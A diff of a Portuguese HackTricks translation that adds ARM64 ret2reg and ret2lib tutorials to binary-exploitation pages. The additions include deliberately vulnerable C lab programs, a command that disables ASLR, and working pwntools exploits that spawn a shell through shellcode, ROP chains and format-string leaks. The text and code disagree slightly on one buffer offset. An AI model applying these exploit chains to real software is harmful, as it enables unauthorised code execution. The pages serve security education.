Translated ['binary-exploitation/rop-return-oriented-programing/ret2esp-

SUMMARY.md

@@ -705,6 +705,7 @@
     * [Leaking libc address with ROP](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md)
       * [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
     * [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
+    * [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
   * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
   * [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
   * [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)

binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 Outras formas de apoiar o HackTricks:
 
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -18,13 +18,13 @@ Outras formas de apoiar o HackTricks:
 
 **Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, essa técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado imediatamente após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
 
-Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar as instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se o **Address Space Layout Randomization (ASLR)** não estiver ativado no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar essas instruções dentro do programa vulnerável em si (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 
 Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram no shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
 
-### Falta de espaço
+### Espaço insuficiente
 
-Se você estiver com falta de espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como:
+Se você estiver com espaço insuficiente para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode **`jmp`** inicial como:
 ```armasm
 sub rsp, 0x30
 jmp rsp
@@ -87,7 +87,6 @@ target.sendline(payload)
 
 # Drop to an interactive shell
 target.interactive()
-
 ```
 ## Ret2reg
 
@@ -101,12 +100,93 @@ Você pode encontrar alguns exemplos aqui: 
 * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
 * **`strcpy`** irá armazenar em **`eax`** o endereço do buffer onde o shellcode foi armazenado e **`eax`** não está sendo sobrescrito, então é possível usar um `ret2eax`.
 
-## Proteções
+## ARM64
+
+### Ret2sp
+
+No ARM64 **não há** instruções que permitam **saltar para o registro SP**. Pode ser possível encontrar um gadget que **mova sp para um registro e então salte para esse registro**, mas na libc do meu kali não consegui encontrar nenhum gadget assim:
+
+{% code overflow="wrap" %}
+```bash
+for i in `seq 1 30`; do
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
+done
+```
+{% endcode %}
+
+Os únicos que descobri mudariam o valor do registro onde sp foi copiado antes de pular para ele (então se tornaria inútil):
+
+<figure><img src="../../.gitbook/assets/image (1221).png" alt=""><figcaption></figcaption></figure>
+
+### Ret2reg
+
+Se um registro tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:
+```bash
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
+```
+{% endcode %}
+
+Em ARM64, é o **`x0`** quem armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.
+
+Código de exemplo:
+```c
+// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
+
+#include <stdio.h>
+#include <string.h>
+
+void do_stuff(int do_arg){
+if (do_arg == 1)
+__asm__("br x0");
+return;
+}
+
+char* vulnerable_function() {
+char buffer[64];
+fgets(buffer, sizeof(buffer)*3, stdin);
+return buffer;
+}
+
+int main(int argc, char **argv) {
+char* b = vulnerable_function();
+do_stuff(2)
+return 0;
+}
+```
+Verificando a desmontagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do estouro de buffer:
+
+<figure><img src="../../.gitbook/assets/image (1222).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**:
+
+<figure><img src="../../.gitbook/assets/image (1223).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Vamos usar esse gadget para pular para ele porque o binário é compilado **SEM PIE**. Usando um padrão, é possível ver que o **deslocamento do estouro de buffer é 80**, então o exploit seria:
+```python
+from pwn import *
+
+p = process('./ret2x0')
+elf = context.binary = ELF('./ret2x0')
+
+stack_offset = 72
+shellcode = asm(shellcraft.sh())
+br_x0 = p64(0x4006a0) # Addr of: br x0;
+payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
+
+p.sendline(payload)
+p.interactive()
+```
+{% hint style="warning" %}
+Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **sobrescrevendo apenas os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\
+Com `fgets` não funciona porque ele **adiciona um byte nulo (0x00) no final**.
+{% endhint %}
+
+## Protections
 
 * [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
-* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registrador.
+* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Isso pode dificultar encontrar uma instrução para pular para esp ou qualquer outro registro.
 
-## Referências
+## References
 
 * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
 * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
@@ -115,12 +195,12 @@ Você pode encontrar alguns exemplos aqui:&#x20;
 
 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:
 
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

binary-exploitation/rop-return-oriented-programing/ret2lib/README.md

@@ -6,8 +6,8 @@
 
 Outras maneiras de apoiar o HackTricks:
 
-* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
 
 ## **Informações Básicas**
 
-A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria uma carga útil que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo em que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
+A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, ao mesmo tempo em que organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
 
 ### **Passos de Exemplo (simplificados)**
 
@@ -47,7 +47,7 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 ```
 ### Usando gdb-peda / GEF
 
-Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`**:
+Sabendo a libc usada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** :
 ```bash
 p system
 p exit
@@ -79,27 +79,27 @@ E você pode encontrar um modelo do pwntools para isso em:
 
 ### Conheça a libc com 2 offsets
 
-Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use **alguns endereços** de funções dentro da libc para descobrir a **versão utilizada**.
+Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **par de endereços** de funções dentro da libc para descobrir a **versão utilizada**.
 
 ## Bypassing ASLR em 32 bits
 
 Esses ataques de força bruta são **apenas úteis para sistemas de 32 bits**.
 
-* Se o exploit for local, você pode tentar forçar a base de endereços da libc (útil para sistemas de 32 bits):
+* Se o exploit for local, você pode tentar forçar a base de endereço da libc (útil para sistemas de 32 bits):
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
 ```
-* Ao atacar um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento o valor 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.
+* Se estiver atacando um servidor remoto, você pode tentar **forçar o endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor demorar 10s extras para responder**, você encontrou o endereço dessa função.
 
 ## One Gadget
 
-Execute um shell pulando para **um** endereço específico na **libc**:
+Execute um shell pulando para **um** endereço específico na libc:
 
 {% content-ref url="one-gadget.md" %}
 [one-gadget.md](one-gadget.md)
 {% endcontent-ref %}
 
-## Exemplo de Código x86 Ret2lib
+## Exemplo de Código Ret2lib x86
 
 Neste exemplo, o brute-force do ASLR está integrado no código e o binário vulnerável está localizado em um servidor remoto:
 ```python
@@ -117,7 +117,7 @@ payload = 'A'*0x20010 + p
 c.send(payload)
 c.interactive()
 ```
-## Exemplo de Código x64 Ret2lib
+## Exemplo de Código Ret2lib x64
 
 Verifique o exemplo em:
 
@@ -125,9 +125,21 @@ Verifique o exemplo em:
 [..](../)
 {% endcontent-ref %}
 
+## Exemplo Ret2lib ARM64
+
+No caso do ARM64, a instrução ret salta para onde o registro x30 está apontando e não para onde o registro de pilha está apontando. Portanto, é um pouco mais complicado.
+
+Também no ARM64, uma instrução faz o que a instrução faz (não é possível pular no meio das instruções e transformá-las em novas).
+
+Verifique o exemplo em:
+
+{% content-ref url="ret2lib-+-printf-leak-arm64.md" %}
+[ret2lib-+-printf-leak-arm64.md](ret2lib-+-printf-leak-arm64.md)
+{% endcontent-ref %}
+
 ## Ret-into-printf (ou puts)
 
-Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento.
+Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` na GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**.
 
 ## Ret2printf
 
@@ -140,14 +152,14 @@ Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vul
 ## Outros Exemplos e Referências
 
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
-* Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget
+* Ret2lib, dado um vazamento para o endereço de uma função em libc, usando um gadget
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
-* 64 bits, ASLR ativado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
+* 64 bits, ASLR ativado, mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário e então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts da GOT e um gadget ROP para chamar `system('/bin/sh')`
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
-* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts do GOT e então chamar um gadget.
+* 64 bits, ASLR ativado, sem canário, estouro de pilha em main a partir de uma função filha. Gadget ROP para chamar puts e vazar o endereço de puts da GOT e então chamar um gadget único.
 * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
-* 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
+* 64 bits, sem PIE, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget único.
 * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
-* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está no GOT) com o endereço de `/bin/sh`.
+* Usa uma string de formato para vazar o canário da pilha e um estouro de buffer para chamar o sistema (está na GOT) com o endereço de `/bin/sh`.
 * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
 * 32 bits, sem relro, sem canário, nx, pie. Abusa de um mau indexação para vazar endereços de libc e heap da pilha. Abusa do estouro de buffer para fazer um ret2lib chamando `system('/bin/sh')` (o endereço do heap é necessário para contornar uma verificação).

binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md

@@ -6,7 +6,7 @@
 
 Outras formas de apoiar o HackTricks:
 
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -30,10 +30,14 @@ Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço
 One Gadget é de **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar as cadeias ROP** pois você só precisa chamar um endereço (e atender aos requisitos).
 {% endhint %}
 
+### ARM64
+
+O repositório do github menciona que **ARM64 é suportado** pela ferramenta, mas ao executá-la na libc de um Kali 2023.3 **não encontra nenhum gadget**.
+
 ## Angry Gadget
 
 Do [**repositório do github**](https://github.com/ChrisTheCoolHut/angry\_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one\_gadget) esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\
-Se você já testou todos os gadgets do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar!
+Se você esgotou os gadgets para tentar do OneGadget, o Angry Gadget oferece muito mais com restrições complicadas para tentar!
 ```bash
 pip install angry_gadget
 

binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md

@@ -0,0 +1,225 @@
+# Ret2lib + Vazamento de Printf - arm64
+
+<details>
+
+<summary><strong>Aprenda hacking na AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+
+</details>
+
+## Ret2lib - Bypass de NX com ROP (sem ASLR)
+```c
+#include <stdio.h>
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+```
+Compilar sem canário:
+```bash
+clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
+# Disable aslr
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+```
+### Encontrar o deslocamento
+
+### Deslocamento x30
+
+Criando um padrão com **`pattern create 200`**, usando-o e verificando o deslocamento com **`pattern search $x30`** podemos ver que o deslocamento é **`108`** (0x6c).
+
+<figure><img src="../../../.gitbook/assets/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Dando uma olhada na função principal desmontada, podemos ver que gostaríamos de **pular** para a instrução que leva diretamente ao **`printf`**, cujo deslocamento a partir de onde o binário é carregado é **`0x860`**:
+
+<figure><img src="../../../.gitbook/assets/image (1216).png" alt=""><figcaption></figcaption></figure>
+
+### Encontrar system e a string `/bin/sh`
+
+Como o ASLR está desativado, os endereços serão sempre os mesmos:
+
+<figure><img src="../../../.gitbook/assets/image (1219).png" alt=""><figcaption></figcaption></figure>
+
+### Encontrar Gadgets
+
+Precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
+
+Usando o rooper, foi encontrado um gadget interessante:
+```
+0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+```
+Este gadget irá carregar `x0` de **`$sp + 0x18`** e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos **controlar o primeiro argumento e depois saltar para o sistema**.
+
+### Exploração
+```python
+from pwn import *
+from time import sleep
+
+p = process('./rop')  # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+libc.address = 0x0000fffff7df0000
+binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
+system = libc.sym["system"]
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Ret2main
+stack_offset = 108
+ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x18 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+p.close()
+```
+## Ret2lib - Bypasso de NX, ASLR e PIE com vazamentos do printf a partir da pilha
+```c
+#include <stdio.h>
+
+void printfleak()
+{
+char buf[100];
+printf("\nPrintf>\n");
+fgets(buf, sizeof(buf), stdin);
+printf(buf);
+}
+
+void bof()
+{
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
+}
+
+void main()
+{
+printfleak();
+bof();
+}
+
+```
+Compilar **sem canário**:
+```bash
+clang -o rop rop.c -fno-stack-protector -Wno-format-security
+```
+### PIE e ASLR mas sem canary
+
+* Rodada 1:
+* Vazamento do PIE a partir da pilha
+* Abuso de estouro de buffer para voltar ao main
+* Rodada 2:
+* Vazamento do libc a partir da pilha
+* ROP: ret2system
+
+### Vazamentos do Printf
+
+Definindo um ponto de interrupção antes de chamar o printf, é possível ver que existem endereços para retornar ao binário na pilha e também endereços libc:
+
+<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="563"><figcaption></figcaption></figure>
+
+Experimentando diferentes deslocamentos, o **`%21$p`** pode vazar um endereço binário (bypass do PIE) e o **`%25$p`** pode vazar um endereço libc:
+
+<figure><img src="../../../.gitbook/assets/image (1220).png" alt="" width="440"><figcaption></figcaption></figure>
+
+Subtraindo o endereço vazado do libc com o endereço base do libc, é possível ver que o **deslocamento** do **endereço vazado a partir da base é `0x49c40`.**
+
+### Deslocamento x30
+
+Veja o exemplo anterior, pois o estouro de buffer é o mesmo.
+
+### Encontrar Gadgets
+
+Como no exemplo anterior, precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
+
+Usando o rooper, outro gadget interessante foi encontrado:
+```
+0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+```
+Este gadget irá carregar `x0` de **`$sp + 0x78`** e então carregar os endereços x29 e x30 do sp e saltar para x30. Com este gadget podemos **controlar o primeiro argumento e depois saltar para o sistema**.
+
+### Exploração
+```python
+from pwn import *
+from time import sleep
+
+p = process('./rop')  # For local binary
+libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
+
+def leak_printf(payload, is_main_addr=False):
+p.sendlineafter(b">\n" ,payload)
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+if is_main_addr:
+response = response[:-4] + b"0000"
+return int(response, 16)
+
+def expl_bof(payload):
+p.recv()
+p.sendline(payload)
+
+# Get main address
+main_address = leak_printf(b"%21$p", True)
+print(f"Bin address: {hex(main_address)}")
+
+# Ret2main
+stack_offset = 108
+main_call_printf_offset = 0x860 #Offset inside main to call printfleak
+print("Going back to " + str(hex(main_address + main_call_printf_offset)))
+ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
+expl_bof(ret2main)
+
+# libc
+libc_base_address = leak_printf(b"%25$p") - 0x26dc4
+libc.address = libc_base_address
+print(f"Libc address: {hex(libc_base_address)}")
+binsh = next(libc.search(b"/bin/sh"))
+system = libc.sym["system"]
+
+# ret2system
+ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
+
+x29 = b"AAAAAAAA"
+x30 = p64(system)
+fill = b"A" * (0x78 - 0x10)
+x0 = p64(binsh)
+
+payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
+p.sendline(payload)
+
+p.interactive()
+```
+<details>
+
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+
+</details>